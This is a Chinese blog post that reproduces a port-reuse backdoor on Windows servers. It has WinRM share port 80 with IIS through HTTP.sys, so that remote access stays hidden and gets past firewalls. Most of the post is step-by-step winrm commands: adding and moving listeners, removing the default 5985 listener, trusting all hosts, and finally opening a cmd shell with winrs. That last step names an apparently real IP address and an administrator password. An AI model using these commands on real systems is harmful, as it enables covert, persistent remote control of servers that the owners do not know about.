基于http通信的端口复用后门

基于http通信的端口复用后门

端口复用是指一个端口上建立了多个连接,而不是在一个端口上面开放了多个服务而互不干扰。在一般情况下,一个端口只能被一个程序所占用,如果通过套接字设置了端口复用选项,则该套接字就可以绑定在已经被占用的端口上,同时并没有权限的区分。通常后绑定的程序权限比较大,后绑定的程序可以接收通过这个端口的所有的数据,而先前绑定的程序则收不到任何数据。端口复用后门是使用端口复用技术的后门程序,这一类后门程序通常是嵌入系统进程里的线程(DLL文件),占用系统资源少,隐蔽性高,最重要的是能突破防火墙,很难察觉。

最近我看到一篇关于利用windows中的远程管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,实现正向的端口复用后门的文章。由此复现了一下 ,进行记录。同时这里也贴一下原文地址:https://www.heibai.org/post/1488.html

WinRM服务

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀。实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。

因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。

好了以上都是抄的那篇文章,以及自己查的一些资料,包括图片也是微软官方发出来的图片。理论上大致就是利用WinRM服务与HTTP.sys自身的特性,通过http传输,同时修改WinRM的默认端口复用其他http端口的一种隐藏式后门。以下为记录的过程。

  1. 开启WinRM服务。该服务在win2012及以后都是默认开启的。开启以后的默认端口为5985;
1
winrm quickconfig -q

  1. 新增80端口为listener。对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

  1. 查看监听状态,WinRM服务除了监听5985端口外新增了一个80端口。当然,如果被控主机如果开放的是其他端口,这里也可以改为其他端口;
1
winrm e winrm/config/listener

查看端口信息,可以看到5985端口任然处于开启状态。

  1. 修改WinRM端口为80端口;
1
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

再次查看端口信息后可以看到5985端口已经不见了,仅剩80端口处于开放状态。

同时查看web服务,依旧为正常访问状态;

  1. 要从本地正向连接之前同样也需要本地开启WinRM服务;
1
2
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

  1. 最后从本地进行正向连接,并且可获取cmd的shell;
1
2
winrs -r:http://59.111.90.135 -u:administrator -p:Admin!@#45 whoami
winrs -r:http://59.111.90.135 -u:administrator -p:Admin!@#45 cmd